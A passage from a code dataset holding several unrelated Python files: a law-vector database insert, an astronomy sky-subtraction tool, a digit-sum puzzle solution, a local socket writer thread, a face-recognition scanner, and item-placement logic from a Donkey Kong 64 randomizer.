row[1]\n elif (row[0] == \"civil_status\"):\n column[\"civil_status\"] = row[1]\n elif (row[0] == \"parent\"):\n column[\"parent\"] = row[1]\n elif (row[0] == \"age_range\"):\n column[\"age_range\"] = row[1]\n sqlInsertLawVector = \"\"\"Insert into LAWS_VECTOR(federal,location_state,location_county,profesional,nationality,civil_status,bachelor,parent,age_range,lawId)\n VALUES(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d) \"\"\"%(1,1,1, column[\"professional\"],1,column[\"civil_status\"],column[\"bachelor\"], column[\"parent\"],column[\"age_range\"],eachLaw[0])\n cursor.execute(sqlInsertLawVector)\n db.commit()\n print(column)\n","sub_path":"LawTransformation.py","file_name":"LawTransformation.py","file_ext":"py","file_size_in_byte":2283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"228238222","text":"#!/usr/bin/env python\n\nimport os, sys\nimport wlcal\nimport traceline\nfrom astropy.io import fits\n\nimport pysalt.mp_logging\nimport logging\nimport numpy\nimport scipy, scipy.interpolate\nimport math\n\nimport matplotlib.pyplot as pl\n\n\n\ndef compute_spline_sky_spectrum(all_skies, \n n_basepoints=100,\n N_min=10,\n show_plot_range=None):\n \"\"\"\n Take all sky datapoint tuples (wavelength, flux) and fit a spline to them.\n\n Parameters\n ----------\n\n all_skies : 2-d numpy array\n\n first col is wavelength, 2nd col is flux\n\n n_basepoints : int\n\n how many base points for the spline fit. Recommended are \n \n N_min : int\n\n set the minimum number of datapoints required for a basepoint to be fit.\n Setting this to >= 5 avoids problems where the spline fitting attempts\n to fit a data point to no or not enough data, resulting in truncated and/or\n incomplete spline fits and subsequently to problems when using the spline\n for sky subtraction\n\n Returns\n -------\n\n spline_fit : generator function for the spline\n\n spline_fit can be used to interpolate/compute the spline by calling\n sky = spline_fit(wavelength);\n Returns None if no spline fit could be computed\n\n\n \"\"\"\n\n logger = logging.getLogger(\"FitSplineSky\")\n logger.info(\"Fitting sky spectrum with spline\")\n\n #\n # Find minimum and maximum wavelength range so we can compute \n # a spline fit to the sky spectrum\n #\n wl_min = numpy.min(all_skies[:,0])\n wl_max = numpy.max(all_skies[:,0])\n logger.info(\"Sky wavelength range: %f -- %f\" % (wl_min, wl_max))\n\n # compute basepoints\n # skip first and last to ensure we do not exceed the input range\n basepoints = numpy.linspace(wl_min, wl_max, n_basepoints+2)[1:-1]\n\n logger.info(\"Using %d basepoints in range %f -- %f for spline fit (%d datapoints)\" % (\n basepoints.shape[0], \n basepoints[0], basepoints[-1], \n all_skies.shape[0]))\n\n\n # -- For debugging --\n # numpy.save(\"spline_x\", all_skies[:,0])\n # numpy.save(\"spline_y\", all_skies[:,1])\n # numpy.save(\"spline_xy\", all_skies)\n # numpy.savetxt(\"spline_xy.txt\", all_skies, \"%.3f %.2f\")\n # numpy.savetxt(\"spline_t\", basepoints)\n\n # Now reject all basepoints with insufficient datapoints close to them\n # require at least N datapoints\n logger.debug(\"Creating search tree\")\n every = int(math.ceil(all_skies.shape[0] / (10*basepoints.shape[0])))\n logger.debug(\"reducing sample size by only taking 1 out of %d values\" % (every))\n kdtree = scipy.spatial.cKDTree(all_skies[:,0][::every].reshape((-1,1)))\n search_radius = basepoints[1] - basepoints[0]\n logger.debug(\"querying tree\")\n nearest_neighbor, i = kdtree.query(x=basepoints.reshape((-1,1)), \n k=N_min, # only find 1 nearest neighbor\n p=1, # use linear distance\n distance_upper_bound=search_radius)\n logger.info(\"done searching!\")\n neighbor_count = numpy.sum( numpy.isfinite(nearest_neighbor), axis=1)\n #print neighbor_count.shape\n \n numpy.savetxt(\"neighbor_count\", \n numpy.append(basepoints.reshape((-1,1)),\n neighbor_count.reshape((-1,1)), axis=1)\n )\n\n #\n # Now eliminate all basepoints with not enough data points for proper fitting\n #\n basepoints = basepoints[neighbor_count >= N_min]\n \n #\n # Now attempt the actual spline fit\n #\n sky_spectrum_spline = None\n try:\n sky_spectrum_spline = scipy.interpolate.LSQUnivariateSpline(\n x=all_skies[:,0], \n y=all_skies[:,1], \n t=basepoints, \n w=None, # no weights (for now)\n bbox=[wl_min, wl_max], \n k=3, # use a cubic spline fit\n )\n\n #\n # For debugging, compute the spline fit at all basepoints and dump to txt file\n #\n ss = numpy.append(basepoints.reshape((-1,1)),\n sky_spectrum_spline(basepoints).reshape((-1,1)),\n axis=1)\n numpy.savetxt(\"skyspectrum.knots\", sky_spectrum_spline.get_knots())\n numpy.savetxt(\"skyspectrum.coeffs\", sky_spectrum_spline.get_coeffs())\n numpy.savetxt(\"skyspectrum.txt\", ss)\n except:\n logger.critical(\"Error with spline-fitting the sky-spectrum\")\n pysalt.mp_logging.log_exception()\n\n pass\n\n if (not show_plot_range == None and not sky_spectrum_spline == None):\n data2plot = (all_skies[:,0] >= show_plot_range[0]) & (all_skies[:,0] <= show_plot_range[1])\n plot_x = all_skies[data2plot][:,0]\n plot_y = all_skies[data2plot][:,1]\n\n fig = pl.figure()\n ax = fig.add_subplot(111)\n ax.set_xlim(show_plot_range) #(5850,5950))\n #ax.set_ylim((0,3800))\n \n ax.scatter(plot_x, plot_y, linewidths=0) #,s=1,marker=\",\")\n ax.scatter(basepoints,numpy.ones_like(basepoints)*400, linewidths=0, c='r')\n ax.plot(basepoints, sky_spectrum_spline(basepoints), 'g-', linewidth=2)\n\n fig.show()\n pl.show()\n\n\n return sky_spectrum_spline\n\n\ndef make_2d_skyspectrum(hdulist, \n wls_2d,\n sky_regions=None, \n oversample_factor=2.0,\n slitprofile=None):\n \"\"\"\n Compute a full 2-D sky spectrum, including curvature, based on the input \n HDUList and the 2-D wavelength solution created from an appropriate ARC \n spectrum using the same setup.\n\n Parameters\n ----------\n\n hdulist : fits.HDUList\n\n multi-extension FITS HDUList of input object frame. \n\n wls_2d : numpy 2d array\n\n two-dimensional numpy array with wavelengths for each pixel\n\n sky_regions : numpy (N,2) array\n\n list of y-positions (from,to) marking which positions along the slit \n (vertical bands if image is displayed in ds9) to be used for extracting \n the sky spectrum.\n\n oversample_factor : float\n\n ratio between number of spline basepoints to be used for interpolating \n the sky spectrum and the number of pixels in spectral direction in the\n input object frame.\n\n\n Returns\n -------\n\n 2-d sky spectrum as numpy ndarray.\n\n\n \"\"\"\n\n logger = logging.getLogger(\"Make2DSkySpec\")\n\n #\n # Now extract some sky-spectrum from the specified y-range \n # Make copy to make sure we don't accidently change the data\n #\n obj_data = hdulist['SCI'].data #numpy.array(hdulist['SCI'].data)\n if (type(slitprofile) == numpy.ndarray and slitprofile.ndim == 1):\n # If we have a valid slitprofile (i.e. a 1-d numpy array)\n obj_data /= slitprofile.reshape((-1,1))\n\n \n \n \n # Remember: Both FITS data __AND__ WLS_2D data are in [y,x] ordering\n all_skies = None\n\n obj_masked = numpy.empty(obj_data.shape)\n obj_masked[:,:] = numpy.NaN\n\n for idx, sky_region in enumerate(sky_regions):\n logger.debug(\"Adding sky-region: y = %4d ... %4d\" % (sky_region[0], sky_region[1]))\n\n #print obj_data.shape, sky_region[0], sky_region[1]\n data_region = obj_data[sky_region[0]:sky_region[1], :]\n wls_region = wls_2d[sky_region[0]:sky_region[1], :]\n \n obj_masked[sky_region[0]:sky_region[1], :] = obj_data[sky_region[0]:sky_region[1], :]\n\n # Now merge data and wavelengths\n # this gives us a 2-D array, shape N,2 with WL in the zero-th column, \n # and fluxes in the first\n #print data_region.shape, wls_region.shape\n data_wls = numpy.append(wls_region.reshape((-1,1)),\n data_region.reshape((-1,1)),\n axis=1)\n # For now dump this data to file\n # if (idx == 0):\n # numpy.savetxt(\"wl+data__%d-%d.dump\" % (sky_region[0],sky_region[1]),\n # data_wls)\n\n all_skies = data_wls if all_skies is None else \\\n numpy.append(all_skies, data_wls, axis=0)\n # print \"all-skies:\", all_skies\n #logger.debug(\"all-skies data: %s\" % (all_skies.shape))\n\n #\n # XXXXXXXX\n # Change this to add masked region as separate extension\n #\n fits.HDUList([fits.PrimaryHDU(header=hdulist['SCI'].header,\n data=obj_masked)]).writeto(\"obj_masked.fits\", clobber=True)\n\n #\n # Exclude all points with NaNs in either wavelength or flux\n #\n good_pixel = numpy.isfinite(all_skies[:,0]) & numpy.isfinite(all_skies[:,1])\n all_skies = all_skies[good_pixel]\n \n #\n # also sort all pixels to be ascending in wavelength, otherwise the spline \n # fitting will crap out with some \"Interior knots t must satisfy \"\n # Schoenberg-Whitney conditions\" error message that does not seem to make \n # any sense\n #\n wl_sort = numpy.argsort(all_skies[:,0])\n all_skies = all_skies[wl_sort]\n\n numpy.savetxt(\"allskies\", all_skies[::10])\n\n ############################################################################\n #\n # Now we have a full list of wavelengths and presumed sky fluxes\n #\n ############################################################################\n\n\n #\n # Fit a spline to the spectrum. Use N times as many basepoints as there \n # are pixels in spectral direction in the original FITS data\n #\n #N_oversample = 1.1 #2.\n N_original = obj_data.shape[1]\n logger.info(\"Oversampling %d input pixels by a factor of %.1f\" % (\n N_original, oversample_factor))\n n_basepoints = N_original * oversample_factor\n sky_spectrum_spline = compute_spline_sky_spectrum(\n all_skies, \n n_basepoints=n_basepoints,\n N_min=10,\n show_plot_range=None, #[5800,6000],\n )\n\n\n #\n # Now with the spline fit to the sky-spectrum, we can compute the 2-D sky \n # spectrum for the full input frame, including the curvature in the spectral \n # dimension which we haven't compensated for yet.\n #\n logger.info(\"Computing full-frame, 2-D sky spectrum, incl. curvature ...\")\n sky_2d = sky_spectrum_spline(wls_2d.ravel())\n sky_2d = sky_2d.reshape(wls_2d.shape)\n \n # For now, write the sky spectrum to FITS so we can have a look at it in ds9\n fits.HDUList([fits.PrimaryHDU(data=sky_2d)]).writeto(\"sky_2d.fits\", clobber=True)\n\n return sky_2d\n\n\nif __name__ == \"__main__\":\n\n logger_setup = pysalt.mp_logging.setup_logging()\n logger = logging.getLogger(\"MAIN\")\n\n\n arcfile = sys.argv[1]\n objfile = sys.argv[2]\n logger.info(\"Extracting WL solution from %s, applying to %s\" % (\n arcfile, objfile))\n\n logger.info(\"Computing 2-D wavelength map\")\n wls_2d = traceline.compute_2d_wavelength_solution(\n arc_filename=arcfile, \n n_lines_to_trace=-50, \n fit_order=[3,2],\n output_wavelength_image=\"wl+image.fits\",\n debug=False)\n\n #\n # Now we should have a full 2-D wavelength model for our data frame\n #\n obj_hdulist = fits.open(objfile)\n \n obj_out = fits.HDUList([\n fits.PrimaryHDU(),\n fits.ImageHDU(header=obj_hdulist['SCI'].header,\n data=obj_hdulist['SCI'].data),\n fits.ImageHDU(data=wls_2d),\n ])\n obj_out.writeto(sys.argv[3], clobber=True)\n\n\n user_sky = sys.argv[4]\n sky_regions = numpy.array([x.split(\":\") for x in user_sky.split(\",\")]).astype(numpy.int)\n\n sky_2d = make_2d_skyspectrum(\n obj_hdulist,\n wls_2d,\n sky_regions=sky_regions,\n oversample_factor=1.0,\n )\n\n #\n # Perform the sky-subtraction (this is now easy as pie)\n #\n obj_data = obj_hdulist['SCI'].data\n skysub_data = obj_data - sky_2d\n fits.HDUList([fits.PrimaryHDU(data=skysub_data)]).writeto(\"skysub_2d.fits\", clobber=True)\n\n #numpy.array(sys.argv[4].split(\",\")).astype(numpy.int)\n\n pysalt.mp_logging.shutdown_logging(logger_setup)\n","sub_path":"skysub2d.py","file_name":"skysub2d.py","file_ext":"py","file_size_in_byte":12097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"285582119","text":"\"\"\"\n백준 18406\nhttps://www.acmicpc.net/problem/18406\n\"\"\"\nimport sys \nnums = [int(i) for i in str(sys.stdin.readline().strip())]\nn = len(nums)\nmid = (n - 1) // 2\n\nif sum(nums[:mid+1]) == sum(nums[mid+1:n]):\n print(\"LUCKY\")\nelse:\n print(\"READY\")\n\n\n## 해설답안 \nn = input()\nlength = len(n)\nsummary = 0 \n\n# 왼쪽 부분 자릿수 합 \nfor i in range(length//2):\n summary += int(n[i])\n\n# 오른쪽 부분 자릿수 합 \nfor i in range(length//2 , length):\n summary -= int(n[i])\n\nif summary == 0 :\n print('LUCKY')\nelse:\n print('READY') \n\n","sub_path":"유형별기출문제/7럭키스트레이트.py","file_name":"7럭키스트레이트.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"505838113","text":"import logging\nimport os\nimport socket\nimport sys\nimport threading\n\nfrom queue import Queue\n\n\nlogger = logging.LoggerAdapter(logging.getLogger(\"montreal\"), {\"class\": os.path.basename(__file__)})\n\nclass SocketWriter (threading.Thread):\n def __init__(self, name, event, queue, server_address=\"127.0.0.1\", server_port=4711):\n threading.Thread.__init__(self)\n self.name = name\n self.event = event\n self.queue = queue\n self.server_address = server_address\n self.server_port = server_port\n logger.info(\"{} initialized successfully\".format(self.name))\n\n def __send(self, sock, message):\n try:\n msg = str(message + \"\\n\").encode(\"utf-8\")\n sock.sendall(msg)\n except socket.error as msg:\n logger.error(str(msg))\n\n def run(self):\n logger.info(\"Started: {}\".format(self.name))\n while not self.event.is_set():\n if not self.queue.empty():\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n sock.connect((self.server_address, self.server_port))\n data = self.queue.get()\n self.__send(sock, data)\n logger.info(\"Wrote data to socket\")\n except Exception as e:\n logger.error(e)\n self.event.wait(1);\n finally:\n sock.close()\n else:\n self.event.wait(5)\n logger.info(\"Stopped: {}\".format(self.name))\n","sub_path":"src/utilities/socket/socket_writer.py","file_name":"socket_writer.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"387094259","text":"import face_recognition\nimport pickle\nimport cv2\nimport os\n\n# This class is used for scanning the frame of the camera streaming and return the id of the person. Besides it returns\n# other data which will be used for the history. PD: this class uses the average method.\n\n\nclass FaceScan:\n def __init__(self):\n\n # Loading the encodings data and data settings\n self.data = pickle.loads(open(\"data/encodings.pickle\", \"rb\").read())\n parent = os.path.abspath(os.path.join('classes', os.pardir))\n self.data_settings = pickle.loads(open(parent + \"/data/settings.pickle\", \"rb\").read())\n\n def scanning(self, frame):\n rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n # Search faces in the frame\n boxes = face_recognition.face_locations(rgb, model=\"hog\")\n _id = \"UnKnown\"\n\n if len(boxes) != 0:\n encoding = face_recognition.face_encodings(rgb, boxes)\n # Encoding[0] represents the first face in the list of boxes (faces)\n # matches gives a complete list of the distances between each photo of the dataset and the face of the frame\n matches = face_recognition.face_distance(self.data[\"encodings\"], encoding[0])\n votes = {}\n average = {}\n unique_id = []\n\n for i, m in enumerate(matches):\n # Create a list with the ids of the dataset\n _id = self.data[\"id\"][i]\n if _id not in average:\n unique_id.append(_id)\n # It's going to sum all the respective distances for each id\n average[_id] = average.get(_id, 0) + m\n if m <= 0.5:\n votes[_id] = votes.get(_id, 0) + 1\n\n # Fill the list with the average of each id\n for i2 in unique_id:\n average[i2] = average[i2]/self.data[\"id\"].count(i2)\n\n print(votes)\n print(average)\n\n if len(average) != 0:\n # the lowest average has to be less than a number to consider its id as a recognized person\n _id = min(average, key=average.get)\n if average[_id] <= self.data_settings['average_num']:\n return _id, votes, average\n else:\n return \"UnKnown\", votes, average\n else:\n return \"UnKnown\", votes, average\n else:\n return \"NoFace\", False, False\n","sub_path":"classes/FaceScan3.py","file_name":"FaceScan3.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"654400633","text":"\"\"\"Module used to distribute items randomly.\"\"\"\nimport json\nimport random\n\nimport js\nimport randomizer.ItemPool as ItemPool\nimport randomizer.Lists.Exceptions as Ex\nimport randomizer.Logic as Logic\nimport randomizer.ShuffleExits as ShuffleExits\nfrom randomizer.CompileHints import compileHints\nfrom randomizer.Enums.Events import Events\nfrom randomizer.Enums.Items import Items\nfrom randomizer.Enums.Kongs import GetKongs, Kongs\nfrom randomizer.Enums.Levels import Levels\nfrom randomizer.Enums.Locations import Locations\nfrom randomizer.Enums.MinigameType import MinigameType\nfrom randomizer.Enums.Regions import Regions\nfrom randomizer.Enums.SearchMode import SearchMode\nfrom randomizer.Enums.Time import Time\nfrom randomizer.Enums.Transitions import Transitions\nfrom randomizer.Enums.Types import Types\nfrom randomizer.Enums.Warps import Warps\nfrom randomizer.Lists.Item import ItemList, KongFromItem\nfrom randomizer.Lists.Location import LocationList\nfrom randomizer.Lists.MapsAndExits import Maps\nfrom randomizer.Lists.Minigame import BarrelMetaData, MinigameRequirements\nfrom randomizer.Lists.ShufflableExit import GetLevelShuffledToIndex, GetShuffledLevelIndex\nfrom randomizer.Lists.Warps import BananaportVanilla\nfrom randomizer.Logic import STARTING_SLAM, LogicVarHolder, LogicVariables\nfrom randomizer.LogicClasses import Sphere, TransitionFront\nfrom randomizer.Prices import GetMaxForKong, GetPriceOfMoveItem\nfrom randomizer.Settings import Settings\nfrom randomizer.ShuffleBarrels import BarrelShuffle\nfrom randomizer.ShuffleBosses import ShuffleBossesBasedOnOwnedItems\nfrom randomizer.ShuffleKasplats import InitKasplatMap, KasplatShuffle\nfrom randomizer.ShufflePatches import ShufflePatches\nfrom randomizer.ShuffleShopLocations import ShuffleShopLocations\nfrom randomizer.ShuffleWarps import ShuffleWarps\n\n\ndef GetExitLevelExit(region):\n \"\"\"Get the exit that using the \"Exit Level\" button will take you to.\"\"\"\n level = region.level\n # If you have option to restart, means there is no Exit Level option\n if region.restart is not None:\n return None\n # For now, restarts will not be randomized\n # if settings.shuffle_loading_zones == \"all\" and region.restart is not None:\n # return ShuffleExits.ShufflableExits[region.restart].shuffledId\n if level == Levels.JungleJapes:\n return ShuffleExits.ShufflableExits[Transitions.JapesToIsles].shuffledId\n elif level == Levels.AngryAztec:\n return ShuffleExits.ShufflableExits[Transitions.AztecToIsles].shuffledId\n elif level == Levels.FranticFactory:\n return ShuffleExits.ShufflableExits[Transitions.FactoryToIsles].shuffledId\n elif level == Levels.GloomyGalleon:\n return ShuffleExits.ShufflableExits[Transitions.GalleonToIsles].shuffledId\n elif level == Levels.FungiForest:\n return ShuffleExits.ShufflableExits[Transitions.ForestToIsles].shuffledId\n elif level == Levels.CrystalCaves:\n return ShuffleExits.ShufflableExits[Transitions.CavesToIsles].shuffledId\n elif level == Levels.CreepyCastle:\n return ShuffleExits.ShufflableExits[Transitions.CastleToIsles].shuffledId\n\n\ndef GetAccessibleLocations(settings, ownedItems, searchType=SearchMode.GetReachable, purchaseList=None, targetItemId=None):\n \"\"\"Search to find all reachable locations given owned items.\"\"\"\n # No logic? Calls to this method that are checking things just return True\n if settings.no_logic and searchType in [SearchMode.CheckAllReachable, SearchMode.CheckBeatable, SearchMode.CheckSpecificItemReachable]:\n return True\n if purchaseList is None:\n purchaseList = []\n accessible = []\n newLocations = []\n playthroughLocations = []\n eventAdded = True\n # Continue doing searches until nothing new is found\n while len(newLocations) > 0 or eventAdded:\n # Add items and events from the last search iteration\n sphere = Sphere()\n if playthroughLocations:\n sphere.availableGBs = playthroughLocations[-1].availableGBs\n for locationId in newLocations:\n accessible.append(locationId)\n location = LocationList[locationId]\n # If this location has an item placed, add it to owned items\n if location.item is not None:\n # In search mode GetReachableWithControlledPurchases, only allowed to purchase items as prescribed by purchaseOrder\n if location.type == Types.Shop and searchType == SearchMode.GetReachableWithControlledPurchases and locationId not in purchaseList:\n continue\n ownedItems.append(location.item)\n # If we want to generate the playthrough and the item is a playthrough item, add it to the sphere\n if searchType == SearchMode.GeneratePlaythrough and ItemList[location.item].playthrough:\n # Banana hoard in a sphere by itself\n if location.item == Items.BananaHoard:\n sphere.locations = [locationId]\n break\n if location.item == Items.GoldenBanana:\n sphere.availableGBs += 1\n sphere.locations.append(locationId)\n # If we're checking beatability, just want to know if we have access to the banana hoard\n if searchType == SearchMode.CheckBeatable and location.item == Items.BananaHoard:\n return True\n # Checking beatability is essentially just checking that the Banana Hoard item is reachable\n if searchType == SearchMode.CheckSpecificItemReachable and location.item == targetItemId:\n return True\n if len(sphere.locations) > 0:\n playthroughLocations.append(sphere)\n if LocationList[sphere.locations[0]].item == Items.BananaHoard:\n break\n eventAdded = False\n # Reset new lists\n newLocations = []\n # Update based on new items\n LogicVariables.Update(ownedItems)\n\n # Do a search for each owned kong\n for kong in LogicVariables.GetKongs():\n LogicVariables.SetKong(kong)\n\n startRegion = Logic.Regions[Regions.IslesMain]\n startRegion.id = Regions.IslesMain\n startRegion.dayAccess = True\n startRegion.nightAccess = Events.Night in LogicVariables.Events\n regionPool = [startRegion]\n addedRegions = [Regions.IslesMain]\n\n tagAccess = [(key, value) for (key, value) in Logic.Regions.items() if value.HasAccess(kong) and key not in addedRegions]\n addedRegions.extend([x[0] for x in tagAccess]) # first value is the region key\n regionPool.extend([x[1] for x in tagAccess]) # second value is the region itself\n\n # Loop for each region until no more accessible regions found\n while len(regionPool) > 0:\n region = regionPool.pop()\n region.UpdateAccess(kong, LogicVariables) # Set that this kong has access to this region\n LogicVariables.UpdateCurrentRegionAccess(region) # Set in logic as well\n\n # Check accessibility for each event in this region\n for event in region.events:\n if event.name not in LogicVariables.Events and event.logic(LogicVariables):\n eventAdded = True\n LogicVariables.Events.append(event.name)\n # Can start searching with night access\n # Check this even if Night's already been added, because you could\n # lose night access from start to Forest main, then regain it here\n if event.name == Events.Night and event.logic(LogicVariables):\n region.nightAccess = True\n # Check accessibility for collectibles\n if region.id in Logic.CollectibleRegions.keys():\n for collectible in Logic.CollectibleRegions[region.id]:\n if not collectible.added and collectible.kong in (kong, Kongs.any) and collectible.logic(LogicVariables) and collectible.enabled:\n LogicVariables.AddCollectible(collectible, region.level)\n # Check accessibility for each location in this region\n for location in region.locations:\n if location.logic(LogicVariables) and location.id not in newLocations and location.id not in accessible:\n # If this location is a bonus barrel, must make sure its logic is met as well\n if (location.bonusBarrel is MinigameType.BonusBarrel and settings.bonus_barrels != \"skip\") or (\n location.bonusBarrel is MinigameType.HelmBarrel and settings.helm_barrels != \"skip\"\n ):\n minigame = BarrelMetaData[location.id].minigame\n if not MinigameRequirements[minigame].logic(LogicVariables):\n continue\n # If this location is a blueprint, then make sure this is the correct kong\n elif LocationList[location.id].type == Types.Blueprint:\n if not LogicVariables.KasplatAccess(location.id):\n continue\n # Every shop item has a price\n elif LocationList[location.id].type == Types.Shop:\n # In search mode GetReachableWithControlledPurchases, only allowed to purchase what is passed in as \"ownedItems\"\n if searchType != SearchMode.GetReachableWithControlledPurchases or location.id in purchaseList:\n LogicVariables.PurchaseShopItem(LocationList[location.id])\n elif location.id == Locations.NintendoCoin:\n LogicVariables.Coins[Kongs.donkey] -= 2 # Subtract 2 coins for arcade lever\n newLocations.append(location.id)\n # Check accessibility for each exit in this region\n exits = region.exits.copy()\n # If loading zones are shuffled, the \"Exit Level\" button in the pause menu could potentially take you somewhere new\n if settings.shuffle_loading_zones and region.level != Levels.DKIsles and region.level != Levels.Shops:\n levelExit = GetExitLevelExit(region)\n # When shuffling levels, unplaced level entrances will have no destination yet\n if levelExit is not None:\n dest = ShuffleExits.ShufflableExits[levelExit].back.regionId\n exits.append(TransitionFront(dest, lambda l: True))\n for exit in exits:\n destination = exit.dest\n # If this exit has an entrance shuffle id and the shufflable exits list has it marked as shuffled,\n # use the entrance it was shuffled to by getting the region of the destination exit.\n # If the exit is assumed from root, do not look for a shuffled exit - just explore the destination\n if exit.exitShuffleId is not None and not exit.assumed:\n shuffledExit = ShuffleExits.ShufflableExits[exit.exitShuffleId]\n if shuffledExit.shuffled:\n destination = ShuffleExits.ShufflableExits[shuffledExit.shuffledId].back.regionId\n elif shuffledExit.toBeShuffled and not exit.assumed:\n continue\n # If a region is accessible through this exit and has not yet been added, add it to the queue to be visited eventually\n if destination not in addedRegions and exit.logic(LogicVariables):\n # Check time of day\n timeAccess = True\n if exit.time == Time.Night and not region.nightAccess:\n timeAccess = False\n elif exit.time == Time.Day and not region.dayAccess:\n timeAccess = False\n if timeAccess:\n addedRegions.append(destination)\n newRegion = Logic.Regions[destination]\n newRegion.id = destination\n regionPool.append(newRegion)\n # If it's accessible, update time of day access whether already added or not\n # This way if a region has access from 2 different regions, one time-restricted and one not,\n # it will be known that it can be accessed during either time of day\n if exit.logic(LogicVariables):\n # If this region has day access and the exit isn't restricted to night-only, then the destination has day access\n if region.dayAccess and exit.time != Time.Night and not Logic.Regions[destination].dayAccess:\n Logic.Regions[destination].dayAccess = True\n # Count as event added so search doesn't get stuck if region is searched,\n # then later a new time of day access is found so it should be re-visited\n eventAdded = True\n # And vice versa\n if region.nightAccess and exit.time != Time.Day and not Logic.Regions[destination].nightAccess:\n Logic.Regions[destination].nightAccess = True\n eventAdded = True\n # Deathwarps currently send to the vanilla destination\n if region.deathwarp is not None:\n destination = region.deathwarp.dest\n # If a region is accessible through this exit and has not yet been added, add it to the queue to be visited eventually\n if destination not in addedRegions and region.deathwarp.logic(LogicVariables):\n addedRegions.append(destination)\n newRegion = Logic.Regions[destination]\n newRegion.id = destination\n regionPool.append(newRegion)\n\n if searchType in (SearchMode.GetReachable, SearchMode.GetReachableWithControlledPurchases):\n return accessible\n elif searchType == SearchMode.CheckBeatable or searchType == SearchMode.CheckSpecificItemReachable:\n # If the search has completed and the target item has not been found, then we failed to find it\n return False\n elif searchType == SearchMode.GeneratePlaythrough:\n return playthroughLocations\n elif searchType == SearchMode.CheckAllReachable:\n return len(accessible) == len(LocationList)\n elif searchType == SearchMode.GetUnreachable:\n return [x for x in LocationList if x not in accessible]\n\n\ndef VerifyWorld(settings):\n \"\"\"Make sure all item locations are reachable on current world graph with constant items placed and all other items owned.\"\"\"\n if settings.no_logic:\n return True # Don't verify world in no logic\n ItemPool.PlaceConstants(settings)\n unreachables = GetAccessibleLocations(settings, ItemPool.AllItems(settings), SearchMode.GetUnreachable)\n isValid = len(unreachables) == 0\n Reset()\n return isValid\n\n\ndef VerifyWorldWithWorstCoinUsage(settings):\n \"\"\"Make sure the game is beatable without it being possible to run out of coins for required moves.\"\"\"\n if settings.no_logic:\n return True # Don't verify world in no logic\n locationsToPurchase = []\n reachable = []\n maxCoins = [\n GetMaxForKong(settings, Kongs.donkey),\n GetMaxForKong(settings, Kongs.diddy),\n GetMaxForKong(settings, Kongs.lanky),\n GetMaxForKong(settings, Kongs.tiny),\n GetMaxForKong(settings, Kongs.chunky),\n ]\n while True:\n Reset()\n reachable = GetAccessibleLocations(settings, [], SearchMode.GetReachableWithControlledPurchases, locationsToPurchase)\n # Subtract the price of the chosen location from maxCoinsNeeded\n itemsToPurchase = [LocationList[x].item for x in locationsToPurchase]\n coinsSpent = GetMaxCoinsSpent(settings, itemsToPurchase)\n coinsNeeded = [maxCoins[kong] - coinsSpent[kong] for kong in range(0, 5)]\n coinsBefore = LogicVariables.Coins.copy()\n # print(\"Coins owned during search: \" + str(coinsBefore))\n # print(\"Coins needed during search: \" + str(coinsNeeded))\n # If we found enough coins that every kong can buy all their moves, world is valid!\n if (\n coinsBefore[Kongs.donkey] >= coinsNeeded[Kongs.donkey]\n and coinsBefore[Kongs.diddy] >= coinsNeeded[Kongs.diddy]\n and coinsBefore[Kongs.lanky] >= coinsNeeded[Kongs.lanky]\n and coinsBefore[Kongs.tiny] >= coinsNeeded[Kongs.tiny]\n and coinsBefore[Kongs.chunky] >= coinsNeeded[Kongs.chunky]\n ):\n # print(\"Seed is valid, found enough coins with worst purchase order: \" + str([LocationList[x].name + \": \" + LocationList[x].item.name + \", \" for x in locationsToPurchase]))\n Reset()\n return True\n # If we found the BananaHoard, world is valid!\n if len([x for x in reachable if LocationList[x].item == Items.BananaHoard]) > 0:\n # print(\"Seed is valid, found banana hoard with worst purchase order: \" + str([LocationList[x].name + \": \" + LocationList[x].item.name + \", \" for x in locationsToPurchase]))\n Reset()\n return True\n # For each accessible shop location\n newReachableShops = [\n x\n for x in reachable\n if LocationList[x].type == Types.Shop and LocationList[x].item is not None and LocationList[x].item != Items.NoItem and x not in locationsToPurchase and LogicVariables.CanBuy(x)\n ]\n shopDifferentials = {}\n shopUnlocksItems = {}\n # If no accessible shop locations found, means you got coin locked and the seed is not valid\n if len(newReachableShops) == 0:\n print(\"Seed is invalid, coin locked with purchase order: \" + str([LocationList[x].name + \": \" + LocationList[x].item.name + \", \" for x in locationsToPurchase]))\n Reset()\n return False\n locationToBuy = None\n # print(\"Accessible Shops: \" + str([LocationList[x].name for x in newReachableShops]))\n for shopLocation in newReachableShops:\n # print(\"Check buying \" + LocationList[shopLocation].item.name + \" from location \" + LocationList[shopLocation].name)\n # Recheck accessible to see how many coins will be available afterward\n tempLocationsToPurchase = locationsToPurchase.copy()\n tempLocationsToPurchase.append(shopLocation)\n Reset()\n reachableAfter: list = GetAccessibleLocations(settings, [], SearchMode.GetReachableWithControlledPurchases, tempLocationsToPurchase)\n coinsAfter = LogicVariables.Coins.copy()\n # Calculate the coin differential\n coinDifferential = [0, 0, 0, 0, 0]\n for kong in LogicVariables.GetKongs():\n coinDifferential[kong] = coinsAfter[kong] - coinsBefore[kong]\n # print(\"Coin differential: \" + str(coinDifferential))\n shopDifferentials[shopLocation] = coinDifferential\n shopUnlocksItems[shopLocation] = [LocationList[x].item for x in reachableAfter if x not in reachable and LocationList[x].item is not None]\n # Determine if this is the new worst move\n if locationToBuy is None:\n locationToBuy = shopLocation\n continue\n # Coin differential must be negative for at least one kong to be considered new worst\n if len([x for x in shopDifferentials[shopLocation] if x < 0]) == 0:\n continue\n # If a move unlocks new kongs it is more useful than others, even if it has a worse coin differential\n existingMoveKongsUnlocked = len([x for x in shopUnlocksItems[locationToBuy] if ItemList[x].type == Types.Kong])\n currentMoveKongsUnlocked = len([x for x in shopUnlocksItems[shopLocation] if ItemList[x].type == 